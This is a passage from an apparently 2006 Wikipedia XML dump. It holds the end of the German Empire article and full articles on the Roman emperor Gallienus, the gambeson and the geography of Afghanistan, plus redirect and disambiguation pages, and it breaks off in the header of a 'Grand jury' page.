The Empire flourished under Bismarck's guidance until the Kaiser's death (March [[1888]]). In this so-called [[Year of Three Emperors|''Dreikaiserjahr'']] (Year of Three Emperors), [[Friedrich III of Germany (Hohenzollern)|Friedrich III]], his son and successor, only lived 99 days, leaving the crown to a young and impetuous [[Wilhelm II of Germany|Wilhelm II]], who forced Bismarck out of office in March 1890.

Within Germany, the opposition [[Social Democratic Party (Germany)|Social Democratic Party]] (SPD) rose to become for a time the strongest socialist party in the world, winning a third of the votes in the January 1912 elections to the ''[[Reichstag (institution)|Reichstag]]'' (imperial parliament). Government nevertheless remained in the hands of a succession of conservative coalitions supported by right-wing liberals or Catholic clericals and heavily dependent on the Kaiser's favour.

[[Image:KaiserBill2.jpg|thumb|right|150px|Kaiser Wilhelm II]]
The shaky [[European]] balance of power broke down when [[Austria-Hungary]], Germany's ally since 1879, declared war on [[Serbia]] (July 1914) after the [[assassination in Sarajevo]] of the heir to the Austrian throne. Germany supported their one loyal ally's objectives in Serbia and gave them a &quot;blank cheque&quot; to pursue whatever means they found necessary there. Serbia was supported by Russia, which in turn was allied with France. Following Russia's decision for [[mobilization|general mobilisation]] (i.e. against both Austria-Hungary and Germany) Germany declared war on both Russia and France in what it called a preventive strike.

This was the beginning of [[World War I]]. Despite early successes, Germany and its allies suffered military defeat in the face of an enemy strengthened after 1917 by the intervention of the [[United States]]. The Kaiser [[Wilhelm II of Germany|Wilhelm II]] was driven into exile (November 1918) by a revolution led by elements of the opposition SPD and communist groups, who later organised their own abortive bid for power (January 1919).

In June 1919, the [[Treaty of Versailles]] formally ended the war. It was signed in the [[Hall of Mirrors]] at [[Versailles]], the same place where the Second Reich had been proclaimed nearly half a century before. Germany lost territories to France, Belgium, and the reinstated nation of Poland, and elsewhere, and was required to pay reparations for its alleged sole responsibility for the war.

==Legacy==
Bismarck's rule of reactionary co-optation and coercion and his perpetuation of ''Junker'' virtues of [[militarism]], hierarchy, and autocracy can be understood best when one considers that the nation was only recently and in some ways tenuously united; that the large and powerful neighbor, France, had for centuries pursued an active policy of keeping &quot;the Germanies&quot; weak and divided; and that Germany had again and again been the field where the power struggles of other European states and kingdoms were played out, with devastating consequences in most German regions. The earliest memories of Bismarck's generation of leaders encompassed the Napoleonic Wars and Prussia's attendant national humiliations. A perceived need not to manifest outward weakness made the adoption of more liberal means of government by these men unlikely, at best.

Intensified by the reign of the far more militaristic [[Kaiser Wilhelm II]], Bismarck's legacy would contribute to the political culture in which [[Nazism]] found significant support-bases. This should raise questions over their true roles in history, despite the era of progress and prosperity over which they presided. Under Bismarck, much of this entails his strategies to suppress Catholic and socialist opposition while promoting militaristic Prussianism. As a result, in Germany, as in Japan and Italy, later attempts to extend democracy would succeed in establishing unstable democracies (the [[Weimar Republic]], [[Japan]] in the twenties, and [[Italy]] from the end of World War I to the [[1922]] appointment of [[Mussolini]] as premier by Victor Emmanuel III). Each of these constitutional democracies could not to cope with the severe problems of the day and the reluctance or inability to bring about fundamental structural changes.

Despite advances in industry and science under the Second Reich, Germany retained a despotic aspect to its character, due to its militaristic inclinations and having achieved its unification by &quot;blood and iron&quot;. The armed forces, inculcated in the militarism of the Prussian ''Junkers'' &amp;ndash; the glorification of war, and supreme and unquestioning loyalty to the state, leader, and hierarchy &amp;ndash; remained passionately loyal to the [[Hohenzollern]] dynasty. The values of Prussia's repressive &quot;garrison state,&quot; grounded in Prussia's repressive system of agriculture since the defeat of the [[Teutonic Knights]], would be carried to a new extreme under the [[Third Reich]].

Prussianism caught on because prosperity satisfied the old support base of the middle class liberals, and the state was solicitous of the material welfare for many eventually won over&amp;mdash;including the working class. German education emerged strong in vocational fields as well as propaganda. From the side of the landed aristocracy came the conceptions of inherent superiority in the ruling class and a sensitivity to matters of status, prominent traits well into the twentieth century. Fed by new sources, these conceptions could later be vulgarized and made appealing to the German population as a whole in doctrines of racial superiority. The royal bureaucracy introduced, against considerable aristocratic resistance, the ideal of complete and unreflecting obedience to an institution over and above class and individual.

At the foundation of these currents was centuries of economic, political, and cultural evolution starting with an agricultural system dominated for centuries by repressive means rather than through the market. German peasants were not only under the repressive watch of their landowners, but grounded in village and work structures that favor solidarity, diminishing their revolutionary potential. Thus, in the realm of propaganda, the ''Junkers'' established the generally successful [[Agrarian League]] in [[1894]], laying the groundwork for [[Nazi]] doctrine. The league sought the support of peasants in non-Junker areas of smaller farms, inculcating them in &quot;führer worship,&quot; the idea of a corporative state, militarism, anti-Semitism. They would also make the distinction between &quot;predatory&quot; and &quot;productive&quot; capital, a distinction later used by the Nazis to appeal to [[Anti-capitalism|anti-capitalist]] sentiments among the peasantry.

On the other hand the Kaiserreich did guarantee freedom of press, security of property and it managed to establish a system of public welfare based on compulsory insurance, which survived two World Wars and in its core survives still today. There was a modern election system to the federal Parliament, the Reichstag, which represented every adult man by one vote. This enabled the German Socialists and the Catholic Centre Party to play remarkable roles in the empire's political life, although both parties were officially regarded more or less as &quot;foes of the empire&quot;.  And the time of the Kaiserreich is well remembered in Germany as a period, when academic research and university life flourished as well as arts and literature. [[Thomas Mann]] published his  novel the Buddenbrocks in 1901. [[Theodor Mommsen]] was awarded the [[Nobel prize for literature]] a year later for his Roman history. Painters like the groups [[Der Blaue Reiter]] and [[Die Brücke]] made a significant contribution to modern art. The [[AEG]] [http://www.courses.psu.edu/nuc_e/nuc_e405_g9c/berlin/bauten/turbinenhalle.jpg turbine building] in Berlin by [[Peter Behrens]] from 1909 can be regarded as a milestone in classic modern architecture and an outstanding example of emerging functionalism.

Bismarck's unified Germany also had a significant impact in East Asia.  The unification of Germany was considered a model for both the successful modernization of [[Japan]] (which modelled much its imperial constitution on the Hohenzollern empire) and the less successful modernization of [[China]] at the beginning of the 20th century. The German civil code became the basis of the legal systems of Japan and the [[Republic of China]] after the retreat of the latter to [[Taiwan]] remains as the basis of the legal system there. In addition, the Prussian military model (mainly army, the British impressed more as a naval power) had also influenced the Chinese and Japanese armies greatly until the Second World War through their employment of German military advisors, instructors and the acquisition of Germany military equipment. The Ottoman army was reorganised prior to World War One under German influence.

==References==
*Aronson, Theo. ''The Kaisers''. London: Cassell, 1971.
*Blackbourn, David and Eley, Geoff. ''The Peculiarities Of German History: Bourgeois Society and Politics In Nineteenth-Century Germany''. New York: Oxford University Press, 1984. ISBN 0198730586.
*[[Gordon A. Craig|Craig, Gordon]]. ''Germany: 1866-1945''. ISBN 0195027248 
*[[Fritz Fischer|Fischer, Fritz]]. ''From Kaiserreich to Third Reich: Elements of Continuity in German History, 1871-1945''. (translated and with an introduction by Roger Fletcher) London: Allen &amp; Unwin, 1986. ISBN 0049430432. 
*[[Fritz Fischer|Fischer, Fritz]]. ''War of Illusions: German Policies from 1911 to 1914''. (translated from the German by Marian Jackson) New York: Norton, 1975. ISBN 0393054802. 
*[[Gerhard Ritter|Ritter, Gerhard]]. ''The Sword and the Scepter; the Problem of Militarism in Germany''. (translated from the German by Heinz Norden) Coral Gables: University of Miami Press 1969-73.
*[[Michael Stürmer|Stürmer, Michael]]. ''The German Empire, 1870-1918''. New York: Random House, 2000. ISBN 0679640908. 
*[[Wolfgang Mommsen|Mommsen, Wolfgang]]. ''Imperial Germany 1867-1918: Politics, Culture, and Society in an Authoritarian Sate''. (translated by Richard Deveson from ''Der Autoritäre Nationalstaat'') London: Arnold, 1995. ISBN 0340645342. 
*[[Hans-Ulrich Wehler|Wehler, Hans-Ulrich]]. ''The German Empire, 1871-1918''. (translated from the German by Kim Traynor) Leamington Spa, Warwickshire: Berg Publishers, 1985. ISBN 0907582222.

==See also==
*[[Aftermath of World War I]]
*[[German colonial empire]]
*[[History of Germany]]
*[[Holy Roman Empire]]
*[[Nazi Germany]], so called &quot;[[Third Reich]]&quot;
*[[New Imperialism]]
*[[Reich]]
*[[States of the German Empire 1871-1918]]
*[[Weimar Republic]]
*[[Heil dir im Siegerkranz]], the national anthem of the German Empire

==External links==
*[http://www.rootsweb.com/~wggerman/map/germanempire.htm Map of the German Empire, 1871]
*[http://www.gemeindeverzeichnis.de/gem1900/gem1900.htm?gem1900_2.htm German Empire: administrative subdivision and municipalities, 1900 to 1910] 
*[http://www.deutsche-kaiserreich.de/ Das Kaiserreich - Deutsches Reich 1871-1918]
*[http://www.archontology.org/nations/german/germ_state1/ Germany: Heads of State: 1871-1945]


[[Category:19th century]]
[[Category:20th century]]
[[Category:German Empire]]
[[Category:Former monarchies]]
[[Category:Former countries in Europe|Germany]]
[[Category:History of Germany]]
[[Category:Empires]]

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[[ru:Германская Империя]]
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{{Link FA|he}}</text>
    </revision>
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  <page>
    <title>Gallienus</title>
    <id>12677</id>
    <revision>
      <id>41453069</id>
      <timestamp>2006-02-27T12:44:51Z</timestamp>
      <contributor>
        <ip>194.224.227.80</ip>
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      <text xml:space="preserve">[[Image:Gallienus bust.jpg|thumb|Head of Gallienus, in the Musée du [[Cinquantenaire]], [[Brussels]]]]
[[image:Gallienus_lead_seal_sm.jpg|thumb|Gallienus depicted on a lead [[Seal (device)|seal]]]]

'''Publius Licinius Egnatius Gallienus''' ([[218]]-[[268]]) ruled the [[Roman Empire]] as co-emperor with his father [[Valerian (emperor)|Valerian]] from [[253]] to [[260]], and then as the sole [[Roman Emperor]] from 260 to [[268]]. He took control of the empire at a time when it was undergoing great crisis. His record in dealing with those crises is mixed, as he won a number of military victories but was unable to keep much of his realm from seceding.

==Reign==

One of the key characteristics of the [[Crisis of the Third Century]] was the inability of the Emperors to maintain their hold on the Imperium for any marked length of time. An exception to this rule was the reign of the Emperor Gallienus. The fact that Gallienus served as junior Emperor with his father, Valerian, from 253 to 260 may have had something to do with his successes. Father and son each wielded his authority over a smaller area, thus allowing for more flexible control and imperial presence. Another, more probable reason, lay in Gallienus's success in convincing Rome that he was the best man for the job. However, Gallienus had to handle many rebellions of the so-called &quot;[[Gallienus usurpers]]&quot;.

In 260, Valerian was taken prisoner by [[Shapur I of Persia|Sapor]], King of [[Sassanid dynasty|Persia]] while trying to negotiate a peace settlement.  Although aware that his father had been taken alive (the only Emperor to have suffered this fate), Gallienus did not make public Valerian's death until a year later. His decision hinged on the fact that Romans believed that their fate rose and fell with the fate of the Emperor, which in turn depended upon his demonstrating the proper amount of piety (Latin ''[[pietas]]'') to the [[Roman gods|gods]] and maintaining their favor. A defeated Emperor would surely have meant that the gods had forsaken Valerian and, by extension, Gallienus. 

Gallienus's chief method of reinforcing his position is seen in the [[coin|coinage]] produced during his reign (see [[Roman currency]]). The coinage provides clear evidence of a successful propaganda campaign. Gallienus took pains to make sure that he was regularly represented as victorious, merciful, and pious. The people who used these coins on a daily basis saw these messages and, with little evidence to the contrary, remained supportive of their Emperor. 

There were, however, those who knew better. During Gallienus' reign, there was constant fighting on the western fringes of the Empire. As early as 258, Gallienus had lost control over a large part of Gaul, where another general, [[Postumus]], had declared his own realm (typically known today as the [[Gallic Empire]]). As Gallienus' influence waned, another general came to the fore. In time-honored tradition, [[Claudius II]] Gothicus gained the loyalty of the army and succeeded Gallienus to the Imperium. 

[[Image:Arco di Gallieno.jpg|thumb|left|[[Triumphal arch]] of Gallienus, [[262]]. It was built by a private citizen, Marcus Aurelius Victor, and dedicated to Gallienus and his wife Iulia Cornelia Salonina.]]

In the months leading up to his mysterious death in September of 268, Gallienus was ironically orchestrating the greatest achievements of his reign. An invasion of [[Goths]] into the province of [[Pannonia]] was leading to disaster and even threatening Rome, while at the same time, the [[Alamanni]] were raising havoc in the northern part of Italy. Gallienus halted the Allamanic progress by defeating them in battle in April of 268, then turned north and won several victories over the Goths. That fall, he turned on the Goths once again, and in September, either he or Claudius, his leading general, led the Roman army to victory (although the cavalry commander [[Aurelian]] was the real victor) at the [[Battle of Naissus]]. 

At some time following this battle, Gallienus was murdered during the siege of usurper [[Aureolus]] in [[Mediolanum]]; many theories abound that Claudius and Aurelian conspired to have the emperor killed. Be that as it may, Claudius spared the lives of Gallienus' family — Gallienus' wife, Iulia Cornelia Salonina, had given him three sons: [[Valerian II|Valerianus]] (who died in 258), [[Saloninus]] (died in 260 after becoming co-emperor), and Egnatius Marinianus — and had the emperor deified.

==Legacy==

Gallienus has been dealt with harshly by ancient historians, partly due to the secession of Gaul.  According to the modern scholar Pat Southern, however, some historians now see him in a more positive light.  Gallienus was the father of some important reforms, including the creation of a more mobile [[cavalry]], which could better deal with sudden security threats.  This reform arguably created a precedent for the future emperors [[Diocletian]] and [[Constantine I (emperor)|Constantine]].  The historian [[Aurelius Victor]] also reports that Gallienus forbade [[Roman senate|senators]] from becoming military commanders.  This policy undermined senatorial power, as more reliable [[eques|equite]] commanders rose to prominence.  In Southern's opinion, these reforms and the decline in senatorial influence not only helped Aurelian to salvage the Empire, but they also make Gallienus one of the great emperors most responsible for the creation of the [[dominate]], along with [[Septimius Severus]], Diocletian and Constantine.

During Gallienus' reign, the Emperor's patronage of the [[philosopher]] [[Plotinus]] allowed for the teachings of [[Neoplatonism]] to thrive.  Additionally, Gallienus ordered the persecution of [[Christianity|Christians]] to cease, although he did not end the official ban on the religion. This attitude toward Christianity by the Roman government lasted until [[303]], when [[Diocletian]] launched Rome's last major persecution. 

&lt;gallery&gt;
Image:Antoninianus Gallienus 260-leg 2 Italica.jpg|[[Antoninianus]] issued to celebrate &lt;small&gt;LEG II ITAL VII P VII F&lt;/small&gt;, &quot;[[Legio II Italica|Legio II ''Italica'']] seven times faithful and loyal.&quot;
Image:Antoninianus Gallienus 260-leg 3 Italica.jpg|Antoninianus issued to celebrate &lt;small&gt;LEG III ITAL VI P VI F&lt;/small&gt;, &quot;[[Legio III Italica|Legio III ''Italica'']] six times faithful and loyal.&quot;
Image:Antoninianus-Gallienus-l5macedonica-RIC 0345-Bj-.jpg|Antoninianus issued to celebrate &lt;small&gt;LEG VII MAC VI P VI F&lt;/small&gt;, &quot;[[Legio V Macedonica|Legio VII ''Macedonica'']] six times faithful and loyal.&quot;
Image:Antoninianus-Gallienus-l7claudia-RIC 0348-j-v.jpg|Antoninianus issued to celebrate &lt;small&gt;LEG VII CLA VI P VI F&lt;/small&gt;, &quot;[[Legio VII Claudia|Legio VII ''Claudia'']] six times faithful and loyal.&quot;
&lt;/gallery&gt;

==References==
*Southern, Pat.  ''The Roman Empire from Severus to Constantine''.  London and New York:  Routledge, 2001.

==External links==
{{Commons|Gallienus}}
* [http://www.roman-emperors.org/gallval.htm &quot;Valerian and Gallienus&quot;], at ''De Imperatoribus Romanis''.
{{Roman Emperor|Prev=[[Valerian (emperor)|Valerian]]|CoEmperor=with [[Valerian (emperor)|Valerian]] (253&amp;ndash;260) and [[Saloninus]] (260)|Next=[[Claudius II]]|years=260&amp;ndash;268}}


[[Category:218 births]]
[[Category:268 deaths]]
[[Category:Roman emperors]]
[[Category:Murdered Roman emperors]]
[[Category:Crisis of the Third Century]]

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    <title>Gnostic</title>
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        <username>Magnus Manske</username>
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      <text xml:space="preserve">#REDIRECT [[Gnosticism]]</text>
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  <page>
    <title>Gambeson</title>
    <id>12679</id>
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      <id>37662178</id>
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      <contributor>
        <username>Anáwiel</username>
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      <comment>/* Etymology */</comment>
      <text xml:space="preserve">[[Image:Morgan_Bible_10r_detail.jpg|thumb|100px|Depiction of a 13th century Gambeson ([[Morgan Bible]], fol. 10r)]]
A '''gambeson''' (or '''aketon''') is a padded defensive [[surcoat]], worn as [[armour]] separately, or combined with  [[chainmail|mail]] or [[plate armour|plate]] armour. Gambeson were produced with a sewing technique called [[quilting]]. Usually constructed of [[linen]] or [[wool]], the stuffing varied, and could be for example scrap [[cloth]] or horse hair. During the [[14th century]],  illustrations usually show buttons or laces up the front.

==Etymology==
The term ''gambeson'' is a loan from  Old French ''gambeson'', ''gambaison'', originally ''wambais'', formed after the [[Middle High German]] term ''wambeis'' &quot;doublet&quot;, in turn from [[Old High German]] ''wamba'' &quot;stomach&quot; ([[cognate]] to ''[[womb]]''.)

The term ''aketon'' is a loan from [[Arabic language|Arabic]] ''al-qutn'' &quot;[[cotton]]&quot;.

Also known as: Aketon, acton, arming coat, auqueton, gambeson, hacketon, haqueton, wambais, wambesium, wambs

==History==

Quilted leather open jackets and trousers were worn by [[Scythian]] horsemen before the [[4th century BC]], as can be seen on [[Scythian gold]] ornaments crafted by Greek goldsmiths. The European gambeson can at least be traced to the late [[10th century]], but it is likely to have been in use in various forms for longer than that. In Europe, its use became widespread in the [[13th century]], and peaked in the [[14th century|14th]] and [[15th century|15th]] centuries.

The gambeson was used both as a complete armour unto itself and underneath mail and plate in order to cushion the body and prevent chafing. It was very insulatory and thus uncomfortable, but its protection was vital for the soldier. 

For common soldiers who could not afford mail or plate armour, the gambeson, combined with a helmet as the only additional protection, remained a common sight on European battlefields during the entire Middle Ages, and its decline came only with the [[Renaissance]], just like for plate armour due to the rising importance of firearms, 
and by the 17th century, it was no longer in military use.
 

==See also==
*[[Pourpoint]]

[[Category:Personal armor]]

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  <page>
    <title>Geography of Afghanistan</title>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/65.8.27.22|65.8.27.22]] ([[User talk:65.8.27.22|talk]]) to last version by Mipchunk</comment>
      <text xml:space="preserve">[[Image:Afghanistan map.png|right| ]]
'''Afghanistan''' is located in [[Central Asia]] and specifically upon the geologic [[Iranian plateau]] at a [[longitude]] of 33°00&amp;prime;N and a [[latitude]] of 65°00&amp;prime;E, and is 647,500[[square kilometre|km&amp;sup2;]] (similar to  the [[Australia]]n state of [[New South Wales]], or the [[Canada|Canadian]] province of [[Manitoba]], and slightly smaller than the [[U.S. state]] of [[Texas]]). The country is [[landlocked]] and [[mountain]]ous, containing the south-western ranges of the [[Hindu Kush]]. There are four major rivers in the country: [[Amu Darya]], [[Hari Rud]], and the [[Kabul River|Kabul]] and [[Helmand River|Helmand]] Rivers.

==[[Border]]s==
Afghanistan has a total of 5,529 km of borders, with the longest being the 2,430 km southeast-south border of [[Waziristan]], the semiautonomous tribal area of [[Pakistan]]. Afghanistan is also bordered to the west by [[Iran]] (936 km) and to the north by the Central Asian states of [[Tajikistan]] (1,206 km), [[Turkmenistan]] (744 km), and [[Uzbekistan]] (137 km). Afghanistan's shortest border is on its eastern frontier with [[People's Republic of China|China]] (76km).

==[[Terrain]] and [[agriculture]]==
[[Image:Afghan_topo_en.jpg|thumb|300px|Topography]]
: Mostly rugged mountains - the [[Hindu Kush]] and connected ranges; plains in north and southwest and large areas of sandy desert near the southern border with Pakistan.
; Elevation extremes:
:* Lowest point: [[Amu Darya]] 258 m
:* Highest point: [[Noshaq]] 7,492 m
; Land use:
:* Arable land: 12.13%
:* Permanent crops: 0.22%
:* Other: 87.65% (2001)
; Irrigated land:
: 23,860 km&amp;sup2; (1998 est.)
; Natural hazards:
: Damaging [[earthquake]]s occur in [[Hindu Kush]] mountains; [[flooding ]], [[drought|droughts]]
: Landlocked, the Hindu Kush mountains that run northeast to southwest divide the northern provinces from the rest of the country; the highest peaks are in the northern Vakhan ([[Wakhan Corridor]]) 
See also: [[Afghan Turkestan]]

==[[Natural resource]]s==
Afghanistan's natural resources include [[gas]], [[petroleum]], [[coal]], [[copper]], [[chromite]], [[talc]], [[barite]]s, [[sulfur]], [[lead]], [[zinc]], [[iron]] ore, [[salt]], precious and semiprecious stones.

==Mountain systems== 

The dominant mountain system of Afghanistan is the [[Hindu Kush]], and that extension westwards of its water-divide which reindicated by the [[Koh-i-Baba]] to the north-west of [[Kabul]], and by the [[Firozkhoi plateau]] ([[Karjistan]]), which merges still farther to the west by gentle gradients into the [[Paropamisadae|Paropamisus]], and which may be traced across the [[Hari Rud]] to [[Mashad]]. 

The culminating peaks of the Koh-i-Baba overlooking the sources of the Hari Rud, the Helmand, the Kunduz and the Kabul very nearly reach 17,000 ft (over 5,000 m) in height ([[Shah Fuladi]], the highest, is 16,870 ft or 5,142 m).

Important passes include the [[Khyber Pass]] crossing the  [[Sefid Koh]], the [[Gumal Pass]],  and the [[Bolan Pass]] across the [[Toba Kakar Range]], all crossing into Pakistan, the [[Unai Pass]] across the  [[Sanglakh Range]], and the [[Kotal-e Salang]],  connecting Kabul with central and northern Afghanistan, respectively.

==Climate==

[[Image:Afghanistan.A2003266.0625.500m.jpg|thumb|right|300px|The brown and tan landscape of deserts and rugged mountains in southern Afghanistan (top), northwest Pakistan (below), and southeastern Iran (left) encountering a devastating sandstorm on September 23, 2003. The image shows the green vegetation growing along the banks of the Helmand River, which flows toward the center of the scene from top right. The river brings life-giving water to portions of the Margo Desert (center).]]

The variety of climate is immense, as might be expected.  Taking the highlands of the country as a whole, there is no great difference between the mean temperature of Afghanistan and that of the lower [[Himalaya]].  Each may be placed at a point between 10 °C and 15 °C (50 °F to 60 °F). But the remarkable feature of Afghan climate is its extreme range of temperature within limited periods.  The least daily range in the north is during the cold weather, the greatest in the hot.  For seven months of the year (from May to November) this range exceeds 30 °F (17 °C) daily.  Waves of intense cold occur, lasting for several days, and one may have to endure a cold of 12 °F below zero (&amp;minus;24 °C), rising to a maximum of 17 °F (&amp;minus;8 °C).  On the other hand the summer temperature is exceedingly high, especially in the Oxus regions, where a shade maximum of 110 °F to 120 °F (45 °C to 50 °C) is not uncommon.  At Kabul, and over all the northern part of the country to the descent at [[Gandamak]], winter is rigorous, but especially so on the high Arachosian plateau.  In Kabul the snow lies for two or three months; the people seldom leave their houses, and sleep close to stoves.  At Ghazni the snow has been known to lie long beyond the vernal equinox; the thermometer sinks between &amp;minus;10 °F and &amp;minus:15 °F (about &amp;minus;25 °C); and tradition relates the entire destruction of the population of Ghazni by snowstorms more than once. 

At Jalalabad the winter and the climate generally assume an Indian character.  The summer heat is great everywhere in Afghanistan, but most of all in the districts bordering on the Indus, especially Sewi, on the lower Helmund and in Seistan.  All over Kandahar province the summer heat is intense, and the simoon is not unknown.  The hot season throughout this part of the country is rendered more trying by frequent dust storms and fiery winds; whilst the bare rocky ridges that traverse the country, absorbing heat by day and radiating it by night, render the summer nights most oppressive.  At Kabul the summer sun has great power, though the heat is tempered occasionally by cool breezes from the Hindu Kush, and the nights are usually cool.  At Kandahar snow seldom falls on the plains or lower hills; when it does, it melts at once. 

At [[Herat]], though 800 ft (240 m) lower than Kandahar, the summer climate is more temperate; and, in fact, the climate altogether is far from disagreeable.  From May to September the wind blows from the northwest with great violence, and this extends across the country to Kandahar.  The winter is tolerably mild; snow melts as it falls, and even on the mountains does not lie long.  Three years out of four at Herat it does not freeze hard enough for the people to store ice; yet it was not very far from Herat, and could not have been at a greatly higher level (at Rafir Kala, near Kassan) that, in [[1750]], Ahmad Shah's army, retreating from Persia, is said to have lost 18,000 men from cold in a single night.  In the northern Herat districts, too, records of the coldest month (February) show the mean minimum as 17° F (&amp;minus;8 °C), and the maximum 38 °F (3 °C).  The eastern reaches of the Hari Rud river are frozen hard in the winter, rapids and all, and the people travel on it as on a road. 

The summer rains that accompany the southwest monsoon in [[India]], beating along the southern slopes of the Himalaya, travel up the Kabul valley as far as Laghman, though they are more clearly felt in [[Bajour]] and [[Panjkora]], under the high spurs of the [[Hindu Kush]], and in the eastern branches of [[Safed Koh]]. Rain also falls at this season at the head of [[Kurram]] valley.  South of this the [[Suliman mountains]] may be taken as the western limit of the monsoon's action.  It is quite unfelt in the rest of Afghanistan, in which, as in all the west of Asia, the winter rains are the most considerable.  The spring rain, though less copious, is more important to agriculture than the winter rain, unless where the latter falls in the form of snow.  In the absence of monsoon influences there are steadier weather indications than in India.  The north-west blizzards which occur in winter and spring are the most noticeable feature, and their influence is clearly felt on the Indian frontier.  The cold is then intense and the force of the wind cyclonic.  Speaking generally, the Afghanistan climate is a dry one.  The sun shines with splendour for three-fourths of the year, and the nights are even more clear than the days.  Marked characteristics are the great differences of summer and winter temperature and of day and night temperature, as well as the extent to which change of climate can be attained by slight change of place.  As the emperor Baber said of Kabul, at one day's journey from it you may find a place where snow never falls, and at two hours' journey a place where snow almost never melts.

==Vegetation==

The characteristic distribution of vegetation on the mountains of Afghanistan is worthy of attention.  The great mass of it is confined to the main ranges and their immediate off-shoots, whilst on the more distant and terminal prolongations it is almost entirely absent; in fact, these are naked rock and stone. 

Take, for example, the Safed Koh. On the alpine range itself and its immediate branches, at a height of 6000 to 10,000 ft (1,800 to 3,000 m), we have abundant growth of large forest trees, among which conifers are the most noble and prominent, such as Cedrus Deodara, Abies excelsa, Pinus longifolia, P. Pinaster, P. Pinea (the edible pine) and the larch.  We have also the yew, the hazel, juniper, walnut, wild peach and almond.  Growing under the shade of these are several varieties of rose, honeysuckle, currant, gooseberry, hawthorn, rhododendron and a luxuriant herbage, among which the ranunculus family is important for frequency and number of genera.  The lemon and wild vine are also here met with, but are more common on the northern mountains.  The walnut and oak (evergreen, holly-leaved and kermes) descend to the secondary heights, where they become mixed with alder, ash, khinjak, Arbor-vitae, juniper, with species of Astragalus, &amp;c. Here also are Indigoferae rind dwarf laburnum. 

Lower again, and down to 3,000 ft (1,000 m) we have wild olive, species of rock-rose, wild privet, acacias and mimosas, barberry and Zizyphus; and in the eastern ramifications of the chain, Chamaerops humilis (which is applied to a variety of useful purposes), Bignonia or trumpet flower, sissu, Salvadora persica, verbena, acanthus, varieties of Gesnerae. 

The lowest terminal ridges, especially towards the west, are, as has been said, naked in aspect.  Their scanty vegetation is almost wholly herbal; shrubs are only occasional; trees almost non-existent.  Labiate, composite and umbelliferous plants are most common. [[Fern]]s and [[moss]]es are almost confined to the higher ranges. 

In the low brushwood scattered over portions of the dreary plains of the Kandahar tablelands, we find leguminous thorny plants of the papilionaceous suborder, such as camel-thorn ([[Faboideae|''Hedysarum alhagi'']]), [[''Astragalus'']] in several varieties, spiny rest-harrow (''[[Ononis]] spinosa''), the fibrous roots of which often serve as a tooth-brush; plants of the sub-order [[Mimosa|Mimosae]], as the sensitive mimosa; a plant of the [[rue]] family, called by the natives ''lipad''; the common [[Artemisia (plant)|wormwood]]; also certain [[orchid]]s, and several species of Salsola. The rue and wormwood are in general use as domestic medicines&amp;mdash;the former for [[rheumatism]] and [[Neurasthenia|neuralgia]]; the latter in fever, debility and dyspepsia, as well as for a vermifuge. The lipad, owing to its heavy nauseous odour, is believed to keep off evil spirits. In some places, occupying the sides and hollows of ravines, are found the rose bay (Nerium Oleander), called in Persian khar-zarah, or ass-bane, the wild [[laburnum]] and various Indigoferae. 

In cultivated districts the chief trees seen are [[mulberry]], [[willow]], [[poplar]], [[Ash tree|ash]], and occasionally the [[Platanus|plane]]; but these are because of man's planting.

==Sources==
*[[1911 Encyclopædia Britannica]] - physical geography
*Central Intelligence Agency. &quot;Afghanistan.&quot; ''[[CIA World Factbook|CIA World Factbook 2000]]''. 2004. &lt;small&gt;[http://www.cia.gov/cia/publications/factbook/geos/af.html]&lt;/small&gt;
*Federal Research Division, Library of Congress. &quot;Afghanistan: A Country Study.&quot; 1997. &lt;small&gt;[http://lcweb2.loc.gov/frd/cs/aftoc.html]&lt;/small&gt;
* [[M. Ismail Marcinkowski]], ''Persian Historiography and Geography: Bertold Spuler on Major Works Produced in [[Iran]], the [[Caucasus]], [[Central Asia]], [[India]] and Early [[Ottoman Turkey]], with a foreword by Professor Clifford Edmund Bosworth'', member of the [[British Academy]], Singapore: Pustaka Nasional, 2003, ISBN 9971774887.

{{Asia in topic|Geography of}}

[[Category:Geography of Afghanistan| ]]
[[Category:Geography by country|Afghanistan]]

[[fa:&amp;#1580;&amp;#1594;&amp;#1585;&amp;#1575;&amp;#1601;&amp;#1740;&amp;#1575;&amp;#1740; &amp;#1591;&amp;#1576;&amp;#1740;&amp;#1593;&amp;#1740; &amp;#1575;&amp;#1601;&amp;#1594;&amp;#1575;&amp;#1606;&amp;#1587;&amp;#1578;&amp;#1575;&amp;#1606;]]
[[fr:Géographie de l'Afghanistan]]
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[[zh:&amp;#38463;&amp;#23500;&amp;#27735;&amp;#22320;&amp;#29702;]]</text>
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  <page>
    <title>Government of Afghanistan</title>
    <id>12682</id>
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      <id>15910352</id>
      <timestamp>2005-04-18T06:00:20Z</timestamp>
      <contributor>
        <ip>202.138.180.36</ip>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Afghanistan]]</text>
    </revision>
  </page>
  <page>
    <title>Gauntlet</title>
    <id>12683</id>
    <revision>
      <id>40363889</id>
      <timestamp>2006-02-20T01:54:11Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{Wiktionarypar2|gauntlet|gantlet}}
'''Gauntlet''' (occasionally spelled '''gantlet''') may mean:
* [[Gauntlet (gloves)]], protective gloves used as a form of armour.
* [[Gauntlet (arcade game)]], a video game originally produced in 1985 by Atari Games.
* [[Gauntlet (body piercing studio)]] founded by Jim Ward that pioneered the field of body piercing.
* [[Gauntlet (newspaper)]], a weekly newspaper published by students at the University of Calgary.
* [[Gauntlet (marking)]], the white markings on one or more of the legs of an animal such as a cat or rabbit, making them look like they have a long white glove on.  Other examples of these leg markings are the sock and the glove; all three are defined by their different lengths.
* [[Gauntlet (proxy server)]]
* [[Gauntlet Systems]], software company.
* [[SA-15 Gauntlet]], Soviet surface-to-air missile.
* [[Railroad switch#Gantlet track|Gantlet track]], a section of two railroad tracks that overlap to allow them to pass a narrow bridge or tunnel in little more than the space of one track. 
* [[Running the gauntlet]] refers to a corporal punishment in which people armed with sticks or other weapons arrange themselves in two lines facing each other and beat the subject, who is forced to run between them.
* [[Gloster Gauntlet]], a British [[biplane]] in active service in the 1930s and 1940s.

==External links==
* [http://www.bartleby.com/64/C003/0140.html Word choice: Gantlet versus Gauntlet]

{{disambig}}

[[ja:ガントレット]]</text>
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  </page>
  <page>
    <title>Grand jury</title>
    <id>12684</id>
    <revision>
      <id>39198131</id>
      <timestamp>2006-02-11T12:08:27Z</timestamp>
      <contributor>
        <username>David Shay</username>
        <id>17302</id>
